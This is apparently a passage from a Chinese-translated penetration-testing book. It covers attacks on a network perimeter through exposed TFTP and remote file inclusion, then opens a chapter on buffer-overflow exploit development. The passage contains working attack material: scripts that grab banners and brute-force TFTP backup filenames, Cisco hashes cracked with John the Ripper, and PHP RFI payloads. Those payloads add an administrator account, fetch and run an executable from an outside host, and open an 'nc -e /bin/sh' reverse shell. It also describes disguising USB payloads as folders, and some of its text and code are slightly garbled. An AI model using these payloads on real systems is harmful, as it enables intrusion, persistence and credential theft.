这意味着该端口实际上可能是打开的,但当大量响应显示许多端口以这种方式表示时,你可能对结果的信任度较低。抓取每个端口和协议的横幅可能是不可能的,因为可能没有实际的横幅可供抓取。诸如scapy之类的工具可以通过提供更详细的响应来解决这个问题,以便你自己解释。例如,使用以下命令可能会引发 TFTP 服务的响应:

#!/usr/bin/env python

fromscapy.all import *

ans,uns = sr(IP(dst="192.168.195.165")/UDP(dport=69),retry=3,timeout=1,verbose=1)

以下图显示了从 Scapy 执行 UDP 端口扫描,以确定 TFTP 服务是否真正暴露或不暴露:

了解周界扫描的限制

我们看到有一个未回答的响应,可以使用summary()函数获取详细信息,如下所示:

了解周界扫描的限制

当扫描一个端口和一个 IP 地址时,这并不是很有用,但如果测试的是多个 IP 地址或端口,像下面的扫描一样,summary()display()函数将会非常有用:

ans,uns = sr(IP(dst="192.168.195.165")/UDP(dport=[(1,65535)]),retry=3,timeout=1,verbose=1)

不管结果如何,TFTP 对这些扫描没有响应,但这并不一定意味着服务已关闭。根据配置和控制,大多数 TFTP 服务不会对扫描做出响应。这样的服务可能会产生误导,特别是如果启用了防火墙。如果你尝试连接到服务,你可能会收到与没有防火墙过滤实际客户端响应相同的响应,如下面的截图所示:

了解周界扫描的限制

这个例子旨在强调当涉及到暴露的服务、防火墙和其他保护机制时,你不能信任你的 UDP 扫描器。你需要考虑其他细节,比如主机名、其他服务横幅和信息来源。我们专注于 TFTP 作为一个例子,因为如果它暴露了,它对我们作为攻击者提供了一个很好的功能;它不需要凭据来提取数据。这意味着我们只需要知道正确的文件名来下载它。

从 TFTP 服务器下载备份文件

因此,要确定这个系统是否实际包含我们想要的数据,我们需要查询实际文件名的服务。如果我们猜对了文件名,我们可以在我们的系统上下载文件,但如果没有,服务将不会提供任何响应。这意味着我们必须根据其他服务横幅来识别可能的文件名。如前所述,TFTP 最常用于存储网络设备的备份,如果使用了自动存档功能,我们可能能够对实际文件名做出合理的猜测。

通常,管理员使用主机名作为备份文件的基本名称,然后随着时间的推移递增备份文件。因此,如果主机名是example_router,那么使用这个功能的第一个备份将是example_router-1。因此,如果你知道主机名,你可以递增跟随主机名的数字,这代表了潜在的备份文件名。这些请求可以通过 Hydra 和 Metasploit 等工具完成,但你需要根据识别出的主机名生成一个自定义的单词列表。

相反,我们可以编写一个及时的 Python 脚本来满足这个特定的需求,这将更合适。及时脚本是顶级评估者经常使用的概念。它们生成一个脚本来执行当前工具无法轻松执行的任务。这意味着我们可以找到一种自动操纵环境的方式,这是 VMS 不会检测到的。

确定备份文件名

要确定潜在的备份文件名范围,你需要识别可能是常规备份例程的主机名。这意味着连接到 Telnet、FTP 和 SSH 等服务,提取横幅。获取大量服务的横幅可能会耗费时间,即使使用 Bash、for循环和netcat。为了克服这一挑战,我们可以编写一个短小的脚本,来代替我们连接所有这些服务,如下面的代码所示,甚至在未来需要时进行扩展。

这个脚本使用一个端口列表,并将它们提供给每个被测试的 IP 地址。我们使用一系列潜在的 IP 地址作为基本 IP 地址的第四个八位字节。你可以生成额外的代码来从文件中读取 IP,或者从无类域间路由CIDR)地址创建一个动态列表,但这将需要额外的时间。如下所示,当前的脚本满足了我们的即时需求:

#!/usr/bin/env python
import socket

def main():
    ports = [21,23,22]
    ips = "192.168.195."
    for octet in range(0,255):
        for port in ports:
            ip = ips + str(octet)
            #print("[*] Testing port %s at IP %s") % (port, ip)
            try:
                socket.setdefaulttimeout(1)
                s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                s.connect((ip,port))
                output = s.recv(1024)
print("[+] The banner: %s for IP: %s at Port: %s") % (output,ip,port)
            except:
                print("[-] Failed to Connect to %s:%s") % (ip, port)
            finally:
                s.close()

if __name__ == "__main__":
    main()

当脚本响应活动横幅时,我们可以去获取服务的详细信息。这可以使用nmap等工具来完成,但是脚本的框架可以调整以获取更多或更少的详细信息,执行后续请求,甚至在必要时延长时间。因此,如果nmap或其他工具没有正确获取详细信息,可以使用这个脚本。需要注意的是,这比其他工具慢得多,应该作为辅助工具而不是主要工具来对待。

注意

正如刚才提到的,nmap可以使用 NSE 横幅脚本以更快的速度做类似的事情,如nmap.org/nsedoc/scripts/banner.html中所述。

从横幅抓取的结果中,我们现在可以编写一个 Python 脚本,该脚本可以递增地遍历潜在的备份文件名,并尝试下载它们。因此,我们将创建一个目录来存储从这个快速脚本中请求的所有潜在文件。在这个目录中,我们可以列出内容,并查看哪些内容超过了 0 字节。如果我们看到内容超过了 0 字节,我们就知道我们已经成功地获取了一个备份文件。我们将创建一个名为 backups 的目录,并从中运行这个脚本:

#!/usr/bin/env python
try:
    import tftpy
except:
    sys.exit(“[!] Install the package tftpy with: pip install tftpy”)
def main():
    ip = "192.168.195.165"
    port = 69
    tclient = tftpy.TftpClient(ip,port)
    for inc in range(0,100):
        filename = "example_router" + "-" + str(inc)
        print("[*] Attempting to download %s from %s:%s") % (filename,ip,port)
        try:
tclient.download(filename,filename)
        except:
            print("[-] Failed to download %s from %s:%s") % (filename,ip,port)

if __name__ == '__main__':
    main()

正如你所看到的,这个脚本是用来查找从example_router-0example_router-99的路由器备份的。结果可以在输出目录中看到,如下所示:

确定备份文件名

现在,我们只需要确定每个文件的大小,以找到实际的路由器备份,使用ls -l命令。这个命令的示例输出可以在下面的截图中看到。正如你在这里看到的,example_router-5似乎是一个包含数据的实际文件:

确定备份文件名

破解思科 MD5 哈希

现在我们可以看看备份文件中是否有任何哈希密码,如下所示:

破解思科 MD5 哈希

John the Ripper 工具现在可以用来破解这些哈希,只要它们被正确格式化。为此,将这些哈希放在以下格式中:

enable_secret:hash

John the Ripper 工具需要备份文件中的数据以特定格式呈现,以便进行处理。以下摘录显示了这些哈希需要以何种格式呈现才能进行处理:

enable_secret:$1$gUlC$Tj6Ou5.oPE0GRrymDGj9v1
enable_secret:$1$ikJM$oMP.FIjc1fu0eKYNRXF931

然后,我们将这些哈希放在一个文本文件中,比如cisco_hash,并对其运行 John the Ripper,如下所示:

john cisco_hash

完成后,您可以使用john --show cisco_hash查看结果,并使用提取的凭据登录设备,提升权限并调整其详细信息。利用这种访问权限,如果路由器是主要的外围保护,您可以潜在地调整保护措施,以使您的公共 IP 地址能够访问内部资源。

提示

记得使用你写的脚本来获取你的公共 IP 地址,让生活更轻松。

即使在红队参与中,您也应该非常谨慎地对待这个问题。操纵外围防火墙可能会对组织产生不利影响。相反,您应该考虑突出显示您已经获得的访问权限,并要求为您的公共 IP 地址在半受信任或受保护的网络中开通访问权限,具体取决于参与的性质。请记住,除非设备具有可路由的 IP 地址,如公共或面向互联网的地址,否则您可能仍然无法从互联网上看到它,但您可能能够看到以前对您隐藏的端口和服务。一个例子是一个在防火墙后启用了 RDP 的 Web 服务器。一旦执行了外围规则的调整,您可能就可以访问 Web 服务器上的 RDP。

通过网站获取访问权限

利用面向互联网的网站通常是攻击组织边界的最可行选项。有许多方法可以做到这一点,但提供访问权限的最佳漏洞包括结构化查询语言SQL结构化查询语言注入SQLi),命令行注入CLI),远程和本地文件包含RFI/LFI)以及未受保护的文件上传。关于 SQLi、CLI、LFI 和文件上传漏洞的执行有大量信息,但通过 RFI 进行攻击的信息相对较少,漏洞也很普遍。

文件包含攻击的执行

要查找文件包含向量,您需要查找引用资源的向量,无论是服务器上的文件还是互联网上的其他资源:

www.example.website.com/?target=file.txt

远程文件包含通常引用其他站点或合并的内容:

www.example.website.com/?target=trustedsite.com/content.html

我们之所以强调 LFI,除了严格的 RFI 示例之外,是因为文件包含漏洞通常可以在显着的 LFI 和 RFI 向量之间双向工作。应该注意的是,仅因为存在对远程或本地文件的引用并不意味着它是有漏洞的。

在注意到差异后,我们可以尝试确定站点是否适合进行攻击,这取决于底层架构:Windows 还是 Linux/UNIX。首先,我们必须准备好我们的攻击环境,这意味着建立一个面向互联网的 Web 服务器,并在其中放置攻击文件。幸运的是,Python 通过SimpleHTTPServer可以轻松实现这一点。首先,我们创建一个将托管我们文件的目录,名为server,然后我们 cd 到该目录,然后使用以下命令创建 Web 服务器实例:

python -m SimpleHTTPServer

然后,您可以通过在统一资源定位符URL)请求栏中输入带有端口号 8000 的主机 IP 地址,用冒号分隔,访问该站点。这样做后,您将看到向服务器发送的许多请求以获取信息。您刚刚建立的新服务器可以用来引用要在目标服务器上运行的脚本。此屏幕截图显示了发送到服务器的相关请求:

文件包含攻击的执行

如前所述,有时可以使用其他协议与目标 Web 服务器进行交互。如果您通过将 IP 地址添加到防火墙或访问控制列表(ACL)的授权列表中,为自己提供了对半受信任网络或 DMZ 的更多访问权限,您可能能够看到诸如服务器消息块SMB)或 RDP 之类的服务。因此,根据环境,您可能不必为自己提供额外的访问权限;只需破解 Web 服务器可能就足以为您提供足够的访问权限。

大多数文件包含漏洞与PHP网站相关。其他语言集可能存在漏洞,但基于 PHP 的站点最常见。因此,让我们创建一些伪装成文本文件的 PHP 脚本来验证漏洞并利用底层服务器。

验证 RFI 漏洞

当您怀疑自己发现了 RFI 漏洞时,您需要在利用之前验证是否实际存在漏洞。首先,在面向互联网的服务器上启动tcpdump服务,并使其监听带有以下命令的Internet Control Message ProtocolICMP)回显:

sudo tcpdump icmp[icmptype]=icmp-echo -vvv -s 0 -X -i any -w /tmp/ping.pcap

此命令将生成一个文件,其中将捕获由ping命令发送的所有消息。对暴露的 Web 服务器进行 ping 操作,找到服务器的实际 IP 地址,并记录下来。然后,创建以下 PHP 文件,将其存储为名为ping.txt的文本文件:

<pre style="text-align:left;">
<?php
    echo shell_exec('ping -c 1 <listening server>');
?>
</pre>

您现在可以通过以下命令引用文件来执行攻击:

www.example.website.com/?target=70.106.216.176:8000/server/ping.txt

一旦攻击执行完毕,您可以使用以下命令查看数据包捕获(PCAP)

tcpdump -tttt -r /tmp/ping.pcap

如果您从您 ping 的同一台服务器看到 ICMP 回显,那么您就知道该服务器容易受到 RFI 的攻击。

通过 RFI 利用主机

当您找到一个易受攻击的 Windows 主机时,通常会以特权帐户运行。因此,首先,通过 PHP 脚本向系统添加另一个本地管理员帐户可能是有用的。通过创建以下脚本并将其写入诸如account.txt之类的文本文件来完成这一点:

<pre style="text-align:left;">
<?php
    echo shell_exec('net user pentester ComplexPasswordToPreventCompromise1234 /add');
    echo shell_exec('net localgroup administrators pentester /add'):
?>
</pre>

现在,我们所要做的就是从我们暴露的服务器引用脚本,就像这样:

www.example.website.com/?target=70.106.216.176:8000/server/account.txt

如果可能的话,这将在服务器上创建一个新的恶意本地管理员,我们可以使用它来访问服务器。如果系统的 RDP 暴露在互联网上,我们的工作就完成了,我们只需使用新帐户直接登录系统。如果不是这种情况,那么我们需要找到另一种方法来利用系统;为此,我们将使用实际的有效负载。

创建一个如第五章使用 Python 利用服务中所述的有效负载,并将其移动到用于存储引用文件的目录中。

提示

用于此攻击的最佳 LPORT 是端口 80、端口 443 和端口 53。只需确保这些服务没有冲突即可。

创建一个新的 PHP 脚本,可以直接下载文件并执行它,名为payload_execute.txt

<pre style="text-align:left;">
<?php
    file_put_contents("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\payload.exe", fopen("http://70.106.216.176:8000/server/payload.exe", 'r'));
    echo shell_exec('C:\Documents and Settings\All Users\Start Menu\Programs\Startup\payload.exe'):
?>
</pre>

现在,设置监听器(如第五章使用 Python 利用服务中详细说明的)以侦听定义的本地端口。最后,将新脚本加载到 RFI 请求中,观察您的新潜在 shell 出现:

www.example.website.com/?target=70.106.216.176:8000/server/payload_execute.txt

这些是您可以利用 Windows 主机的样本,但如果是 Linux 系统呢?根据主机的权限结构,可能更难获得 shell。也就是说,您可以潜在地查看本地主机,以识别可能包含明文密码的本地文件和存储库。

Linux 和 Unix 主机通常安装了netcat和几种脚本语言,这为攻击者提供了好处。每种语言都可以提供一个命令 shell 返回到攻击者的监听系统。例如,使用以下命令在面向互联网的主机上设置netcat监听器:

nc -l 443

然后,创建一个存储在文本文件中的 PHP 脚本,例如netcat.txt

<pre style="text-align:left;">
<?php
    echo shell_exec('nc -e /bin/sh 70.106.216.176 443'):
?>
</pre>

接下来,通过引用先前显示的 URL 中的脚本来运行脚本:

www.example.website.com/?target=70.106.216.176:8000/server/netcat.txt

注意

有几个示例显示了如何在系统上设置其他后门,如pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet中所示。

对于 Windows 和 Linux 主机,Metasploit 有php_include漏洞,允许您直接将攻击注入到 RFI 中。 PHP Meterpreter 受限且不太稳定,因此在在 Windows 系统上获得立足点后,仍需要下载完整的 Meterpreter 并执行。在 Linux 系统上,您应该提取passwdshadow文件并破解它们以获得真正的本地访问。

总结

本章重点介绍了针对特定服务的常见入侵方法。然而,我们没有涵盖最常见的入侵方法,即网络钓鱼。网络钓鱼是一种社会工程学的类型,是一门艺术,可能需要几章来描述,但您应该知道,真正的攻击者在找不到进入环境的简单方法时通常会使用网络钓鱼。今天,恶意行为者通常从网络钓鱼开始,因为很容易诱使受害者上钩。

在这些入侵途径之后,评估者和恶意行为者会寻找新修补的零日漏洞,例如 2014 年发现的 Shellshock 和 Heartbleed。像这样的例子通常在提供新补丁几个月后仍然是可利用的,但如果您认为在暴露的服务中发现了漏洞,而没有可用的漏洞利用,或者发现了潜在的零日漏洞,该怎么办呢?虽然很少见,渗透测试人员有时会获得测试潜在零日漏洞的机会,但通常在更受控制的环境中证明妥协的概念。在下一章中,我们将更深入地讨论这个问题。

第八章:使用 Python、Metasploit 和 Immunity 进行利用开发

在研究或在罕见的参与中,您可能需要开发或修改利用以满足您的需求。Python 是一个很棒的语言,可以快速原型化代码来测试利用,或者帮助未来修改 Metasploit 模块。本章重点介绍编写利用的方法,而不是如何为这些软件产品创建特定的利用,因此可能需要更多的测试来提高可靠性。首先,我们需要了解中央处理单元CPU)寄存器以及 Windows 内存在运行时的可执行文件结构。在此之前,在 Windows XP Run Mode 虚拟机上,您需要一些工具来测试这一点。

注意

在 Windows XP Run Mode VM 上下载并安装以下组件:Python 2.7、Notepad++、Immunity Debugger、MinGW(带有所有基本包)和 Free MP3 CD Ripper 版本 1.0。还要使用当前的 Kali 版本来帮助生成我们在本章节中要强调的相关细节。

开始使用寄存器

这个解释是基于 x86 系统和处理可执行文件指令集的相关寄存器。出于简洁起见,我们不会详细讨论所有寄存器,但我们会描述本章节范围内最重要的寄存器。特别强调的寄存器大小为 32 位,被称为扩展寄存器。

它们被扩展了,因为它们在之前的 16 位寄存器上增加了 16 位。例如,旧的 16 位通用寄存器可以通过简单地去掉寄存器名称前面的 E 来识别,因此 EBX 也包含 16 位 BX 寄存器。BX 寄存器实际上是两个较小的 8 位寄存器 BH 和 BL 的组合。H 和 L 表示高字节和低字节寄存器。有大量关于这个主题的书籍,复制这些信息对我们的目的并不直接有用。总的来说,寄存器被分解为两种形式以便理解,通用寄存器和特殊用途寄存器。

理解通用寄存器

四个通用寄存器是 EAX、EBX、ECX 和 EDX。它们被称为通用寄存器,因为数学运算和存储发生在这里。请记住,任何东西都可以被操纵,甚至是寄存器通常应该做的基本概念。尽管如此,总体目的是准确的。

EAX

累加器寄存器用于基本数学运算和函数的返回值。

EBX

基址寄存器是另一个通用寄存器,但与 EAX 不同,它没有特定的用途。因此,这个寄存器可以根据需要用于名义存储。

ECX

计数器寄存器主要用于循环函数和迭代。ECX 寄存器也可以用于通用存储。

EDX

数据寄存器用于更高级的数学运算,如乘法和除法。这个寄存器还在程序处理过程中存储函数变量。

理解特殊用途寄存器

这些寄存器是程序处理过程中处理索引和指向的地方。对您来说,这意味着这是基本利用编写的魔法发生的地方 - 最终,我们试图操纵数据的覆盖发生在这里。这是通过其他寄存器中发生的操作顺序完成的。

EBP

基指针告诉您堆栈底部在哪里。当首次调用函数时,这指向堆栈顶部,或者设置为旧的堆栈指针值。这是因为堆栈已经移动或增长。

EDI

目的地索引寄存器用于指向函数。

EIP

指令指针被认为是基本利用编写的目标。你正在尝试覆盖堆栈上存储的这个值,因为如果你控制这个值,你就控制了 CPU 要执行的下一条指令。因此,当你看到开发人员或利用编写者谈论覆盖 EIP 寄存器上的数据时,要明白这不是一件好事。这意味着程序本身的某些设计已经失败了。

ESP

堆栈指针显示堆栈的当前顶部,并且在程序运行时会被修改。因此,当项目从堆栈顶部被移除时,ESP 会改变其指向位置。当新函数加载到堆栈上时,EBP 会取代 ESP 的旧位置。

理解 Windows 内存结构

Windows 操作系统(OS)的内存结构有许多部分,可以分解为高级组件。要理解如何编写利用并利用糟糕的编程实践,我们首先必须了解这些部分。以下详细信息将这些信息分解成可管理的部分。以下图提供了一个可执行文件的 Windows 内存结构的代表性图表。

理解 Windows 内存结构

现在,这些组件中的每一个都很重要,但我们在大多数利用编写中使用的是堆栈和堆。

理解堆栈和堆

堆栈用于有序的短期本地存储。每次调用函数或线程时,都会为该函数或线程分配一个固定大小的唯一堆栈。一旦函数或线程完成操作,堆栈就会被销毁。

堆,另一方面,是全局变量和值以相对无序的方式分配的地方。堆由应用程序共享,内存区域实际上由应用程序或进程管理。一旦应用程序终止,该特定内存区域就会被释放。在这个例子中,我们攻击的是堆,而不是堆。

提示

请记住,这里的利用示例通常是用 Perl 编写的,尽管你可以很容易地将代码转换为 Python,正如第二章中所强调的,Python 脚本的基础

为了更好地理解堆和堆栈移动之间的区别,请参见下图,显示了在为全局和局部资源分配内存时的调整。

理解堆栈和堆

堆栈从堆栈底部向上构建数据。增长从高内存地址到低内存地址。堆与堆栈相反,它的增长方向相反,朝着更高的地址。

为了理解程序加载到堆栈上的方式,我们创建了一个示例代码片段。通过这段代码,你可以看到主函数如何调用function1以及局部变量如何被放置在堆栈上。注意程序通常如何通过调用function1流动以及数据如何放置在堆栈上。

int function1(int a, int b, int c)
{
    diffa - b - c;
    sum = a + b + c;
    return sum;
}
int main()
{
    return function1(argv[1], argv[2], argv[3]);
}

理解堆栈和堆

加载到堆栈上的代码看起来类似于这样,突出显示了信息组件的呈现方式。正如你所看到的,旧的基址指针被加载到堆栈上进行存储,新的 EBP 是旧的堆栈指针值,因为堆栈的顶部已经移动到了新的位置。

放入堆栈的项目被推入堆栈,从堆栈中运行或移除的项目被弹出。堆栈是一个编程概念,被称为后进先出LIFO)结构。把它想象成一堆盘子;要有效地移除盘子,你必须一次一个或一组地从顶部取下,否则你会有破碎的风险。当然,最安全的方式是一次一个,虽然需要更长的时间,但是它是可追踪和有效的。了解我们将要用来注入代码的内存结构的最动态部分后,你需要了解 Windows 内存的其余区域,这些区域将作为构建块,我们将操纵它们从注入到 shell。具体来说,我们正在谈论程序映像和动态链接库DLL)。

注意

记住,我们正在尝试将 shellcode 注入内存,然后使用它来通过诸如 Meterpreter 之类的解决方案访问系统。

理解程序映像和动态链接库

简单地说,程序映像是实际可执行文件存储在内存中的地方。可移植可执行文件(PE)是可执行文件的定义格式,其中包含可执行文件和 DLL。在内存的程序映像组件中,定义了以下项目。

  • PE 头:这包含了 PE 的其余部分的定义。

  • .text:该组件包含代码段或可执行指令。

  • .rdata:这是只读数据段,包含静态常量而不是变量。

  • .data:当可执行文件加载到内存中时,该区域包含静态变量在初始化后的静态变量、全局变量和静态局部变量。该区域可读可写,但大小在运行时不会改变,它是在执行时确定的。

  • .rsrc:这个部分是存储可执行文件资源的地方。这包括图标、菜单、对话框、版本信息、字体等。

注意

许多渗透测试人员操纵可执行文件的.rsrc组件,以改变有效载荷的格式,使其看起来像其他东西。这通常是为了改变恶意有效载荷在通用串行总线(USB)驱动器上的外观。想象一下当你进行 USB 投放时,将有效载荷从看起来像可执行文件改为看起来像一个文件夹。大多数人会想要看看文件夹里面有什么,并且更有可能双击一个假的文件夹而不是一个可疑的可执行文件。资源调整器等工具使得对 PE 的这一部分的操纵变得非常容易。

在这里理解 PE 的最后一个组件是 DLL,它包括微软的共享库概念。DLL 类似于可执行文件,但不能直接调用,而是必须由可执行文件调用。DLL 的核心思想是提供一种方法,使能力得以升级,而不需要在操作系统更新时重新编译整个程序。

因此,许多系统操作的基本构建块需要被引用,无论启动周期如何。这意味着即使其他组件将位于不同的内存位置,许多核心 DLL 将保持在相同的引用位置。记住,程序需要特定的可调用指令,许多基础 DLL 都加载到相同的内存区域。

你需要理解的是,我们将使用这些 DLL 来找到一个可靠地放置在相同位置的指令,以便我们可以引用它。这意味着在系统和重启时,只要 OS 和Service Pack (SP)版本相同,内存引用就会起作用,如果你使用 OS DLLs。如果你使用完全适用于程序的 DLLs,你将能够跨 OS 版本使用这个漏洞。不过,在这个例子中,我们将使用 OS DLLs。发现的指令将使我们能够告诉系统跳转到我们的 shell 代码,并依次执行它。

我们必须在 DLL 中引用代码的原因是,我们无法确定每次发起这种攻击时我们的代码将被加载到内存的确切位置,因此我们无法告诉系统我们要跳转到的确切内存地址。因此,我们将加载栈与我们的代码,并告诉程序通过引用位置跳转到它的顶部。

请记住,每次执行程序和/或每次重启都可能会改变这一点。栈内存地址根据程序的需要提供,并且我们试图将我们的代码直接注入到这个运行函数的栈中。因此,我们必须利用已知和可重复的目标指令集。我们将详细解释这个过程,但现在,只需知道我们使用 DLL 已知的指令集来跳转到我们的 shell 代码。在这个内存区域,其他组件对我们在这里突出的利用技术来说不那么重要,但你需要理解它们,因为它们在你的调试器中被引用。

注意

PE 可以从以下两篇较旧的文章中更好地理解,Peering Inside the PE: A Tour of the Win32 Portable Executable File Format,在这里找到msdn.microsoft.com/en-us/magazine/ms809762.aspx,以及 An In-Depth Look into the Win32 Portable Executable File Format,在这里找到msdn.microsoft.com/en-us/magazine/cc301805.aspx

理解进程环境块

进程环境块PEB)是存储运行进程的非内核组件的地方。存储在内存中的是系统不应该访问内核组件的信息。一些主机入侵防护系统HIPS)监视这个内存区域的活动,以查看是否发生了恶意活动。PEB 包含与加载的 DLL、可执行文件、访问限制等相关的详细信息。

理解线程环境块

每个进程建立的线程都会生成一个线程环境块(TEB)。第一个线程被称为主线程,之后的每个线程都有自己的 TEB。每个 TEB 共享启动它们的进程的内存分配,但它们可以以使任务完成更有效的方式执行指令。由于需要可写访问权限,这个环境驻留在内存的非内核块中。

内核

这是为设备驱动程序、硬件访问层(HAL)、缓存和程序不需要直接访问的其他组件保留的内存区域。理解内核的最佳方法是,这是操作系统最关键的组件。所有通信都是通过操作系统功能必要地进行的。我们在这里突出的攻击并不依赖于对内核的深入理解。此外,对 Windows 内核的深入理解需要一本专门的书。在定义内存位置之后,我们必须理解数据在其中的寻址方式。

理解内存地址和字节序

观察内存时,数据用十六进制字符 0- F 表示,每个字符代表 0-15 的值。例如,十六进制中的值 0 将被表示为二进制的 0000,而 F 的表示将是二进制的 1111。

使用十六进制使得阅读内存地址更容易,也更容易编写。由于我们有 32 位内存地址,因此会有 32 个位置用于特定位。由于每个十六进制值代表四位,等价表示可以用八个十六进制字符完成。请记住这些十六进制字符是成对出现的,以便它们代表四对。

Intel x86 平台使用小端表示法来进行内存寻址,这意味着最不重要的字节先出现。你读取的内存地址必须被反转以生成小端等价表示。要理解手动转换为小端,看一下下面的图片,注意你是在反转对的顺序,而不是对本身。这是因为对代表一个字节,我们按照最不重要的字节先出现的顺序,而不是位,如果是这种情况,十六进制字符也会改变,除非它是 A 或 F。

理解内存地址和字节序

不用担心,我们有一个小技巧,你经常会看到 Perl 利用程序中加载到变量中的特定内存地址的pack('V', 0xaa01f24d)。这是 Perl 的一个很好的特性,它允许你直接将小端表示的内存值加载到一个变量中。Python 的等价表示是struct.pack('<I', 0xaa01f24d),这使得内存地址的表示更简单。如果你查看你的 Metasploit 模块,你可以看到以这种方式表示的预期操作[target['Ret']].pack('V')。这提供了基于传递的内存地址的指定目标的返回操作。

注意

当你在 Metasploit 中运行你的利用程序并选择目标,比如 Windows XP SP3 或 Windows 2008 R2 时。该目标通常是 EIP 要使用的特定内存地址,用于调用特定操作。通常情况下,它是jmp esp来执行注入,稍后在本章中你将看到更多关于逆向 Metasploit 模块的内容。

我们之前提到,我们试图用指向指令的内存值覆盖 EIP 寄存器。这个指令将根据我们在构建利用程序时可以覆盖的数据来选择。EIP 是你的利用代码中唯一需要担心字节序的地方;其余的利用程序都很直接。

注意

小端大端的命名概念来自乔纳森·斯威夫特的《格列佛游记》。简单概括这本书,小端人相信从蛋的小一侧打破蛋壳,而大端人相信从蛋的大一侧打破蛋壳。这个概念也被应用到了内存结构的命名约定中。

理解堆栈的操作

要理解我们在编写利用程序时要做的事情,你必须理解内存中发生了什么。我们将向内存的一个区域注入数据,而该区域没有边界检查。这通常意味着一个变量声明了一个特定的大小,当数据被复制到该变量时,没有验证数据是否适合在复制之前。

这意味着可以将更多的数据放入一个变量中,超出预期的数据会溢出到堆栈并覆盖保存的值。其中一个保存的值包括 EIP。下面的图片突出显示了注入数据是如何推送到堆栈上并移动以覆盖保存的值的。

理解堆栈的操作

我们将用各种字符来淹没堆栈,以确定我们需要覆盖的区域。首先,我们将从一组大量的 A、B 和 C 开始。在查看调试器数据时看到的数值将告诉我们我们所着陆的堆栈位置。字符类型的差异将帮助我们更好地确定我们独特字符测试的大小需求。下图显示了我们覆盖堆栈时 A、B 和 C 的组合(未显示):

理解堆栈的操作

现在在大致了解 EIP 的位置后,我们可以生成一个大小为 A 和 B 相加的唯一模式。这个唯一模式将被注入回易受攻击的程序。然后我们可以取覆盖 EIP 寄存器的唯一值,并将其与我们的模式进行比较。我们确定我们的大型唯一模式中该值所在的位置,并确定需要推送到堆栈上的数据量,以达到 EIP。

一旦我们确定了 EIP 的位置,我们可以通过检查 DLL 来定位 EIP 中要引用的指令。请记住,程序本身的 DLL 将更具可移植性,并且您的利用程序将在多个 Windows 版本中运行。Windows 操作系统的 DLL 使编写利用程序变得更容易,因为它们是无处不在的,并且具有您正在寻找的所需指令。

在这个利用程序的版本中,我们试图跳转到 ESP,因为可用空间在那里,并且很容易构建一个利用程序来利用它。如果我们使用其他寄存器,我们将不得不寻找一个指令来跳转到该寄存器。然后我们将不得不确定从被操纵的寄存器到 EIP 有多少可用空间。这将有助于确定需要填充堆栈该区域的数据量,因为我们的 shellcode 只会填充该区域的一小部分。

了解了这一点,我们将用无操作NOPs)夹住我们的 shell 代码。位于 shellcode 和 EIP 之间的 NOPs 是为了抵消注入的 shellcode。因此,当指令加载到寄存器中时,它们会以适当的块加载。否则,shellcode 将错位。最后,加载到堆栈上的滑梯是为了占据剩余的空间,因此当调用 Jump to ESP 时,代码从顶部滑动到实际的 shellcode。查看以下图片以更好地理解我们正在朝着的方向:

理解堆栈的操作

有了这个基本的理解,我们可以开始在一个糟糕创建的 C 程序上使用 Immunity 调试器。

理解免疫

我们首先需要了解 Immunity 的设置方式。Immunity 是一个基于 Python 的强大调试器。许多插件,包括 Mona,都是用 Python 编写的,这意味着如果您需要更改某些内容,只需修改脚本。Immunity 的主屏幕分为四个部分,当您挂钩一个进程或执行一个程序时,您可以看到详细信息的输出,如下所示。

理解免疫

这个布局是您将花费大部分时间的基本外观。您可以根据需要调用不同的窗口来查看其他运行组件,比如 DLL。我们稍后会涵盖更多内容,但让我们先从创建一个基本的缓冲区溢出开始。

理解基本缓冲区溢出

以下 C 代码缺乏适当的边界检查,以强制在复制时对变量大小施加限制。这是一个简单的糟糕编程的例子,但它是 Metasploit 框架中许多利用程序的基础。

#include <string.h>
#include <stdio.h>
int main (int argc, char *argv[])
{
    if (argc!=2) return 1; 
    char copyto[12];
    strcpy(copyto, argv[1]);  // failure to enforce size restrictions
    printf("The username you provided is %s", copyto);
    return 0;
}

我们将这段代码放入一个名为username_test.cpp的文件中,然后使用 MinGW 编译它,如下所示:

理解基本缓冲区溢出

然后我们可以运行新编译的程序,看它是否返回我们提供的任何文本。

理解基本缓冲区溢出

现在,启动 Immunity 并使用测试参数打开username_test.exe二进制文件,如下所示。这与 Python 脚本和从命令行运行的功能相同,这意味着您可以监视调试器的输出。

理解基本缓冲区溢出

现在,我们需要提供比预期更多的数据,并尝试触发溢出。这在这里很容易做到,因为我们知道这个特定二进制文件的限制,但如果我们不知道这一点,我们将不得不进行相对猜测。为此,我们应该生成一些数据,比如一堆大写 A,然后看看会发生什么。

我们可以每次想要生成参数时,要么重复按住Shift键再按字母 A,要么创建一个生成器来进行类似的活动。我们可以再次使用 Python 来帮助我们。看看下面的简单代码,它将根据需要创建数据文件,可以复制并粘贴到调试器中。

data = "A"*150
open('output.txt', 'w').close()
with open("output.txt", "w") as text_file:
    text_file.write(data)

其输出如下图所示:

理解基本缓冲区溢出

现在,将数据复制并粘贴到 Immunity 调试器参数中,并使用F7键逐步运行程序。按住键一段时间后,您将开始看到二进制文件以提供的参数运行,并在寄存器窗格中处理时,EAX 寄存器中将捕获到 41414141。每个 41 代表美国信息交换标准代码ASCII)的字母 A。运行程序结束后,您应该看到 EIP 被字母 A 溢出。

注意

在本示例中,您将看到的内存地址与您自己的环境中的地址不同,因此您需要确保使用您的内存地址生成最终脚本,而不是使用这些图像中看到的地址。

理解基本缓冲区溢出

因此,我们知道我们提供了足够的 A 来覆盖 EIP。这意味着我们已经发现我们可以覆盖 EIP,但我们没有为其提供任何有用的内容,并且我们不知道它实际上在堆栈中的位置。基本上,这意味着这个活动使我们的程序崩溃,而不是我们想要的 - 获得一个 shell。

这提出了关于制作利用程序的另一个问题;通常,设计不良的利用程序,或者无法设计以在特定漏洞的内存限制中工作的利用程序,将产生拒绝服务DoS)条件。我们的目标是在计算机上获得 shell,为此,我们需要操纵推送到程序中的内容。请记住,当您考虑服务时,有关远程代码执行RCE)攻击的报告可用,而唯一可用的公开利用程序会导致 DoS 攻击。这意味着很难在该环境中实现 shell 访问,或者研究人员在该环境中创建利用程序的能力可能受到限制。

提示

在进行过程中,如果您的寄存器出现错误,例如下图中的错误,那么您没有正确确定后续开发的缓冲区大小。

理解基本缓冲区溢出

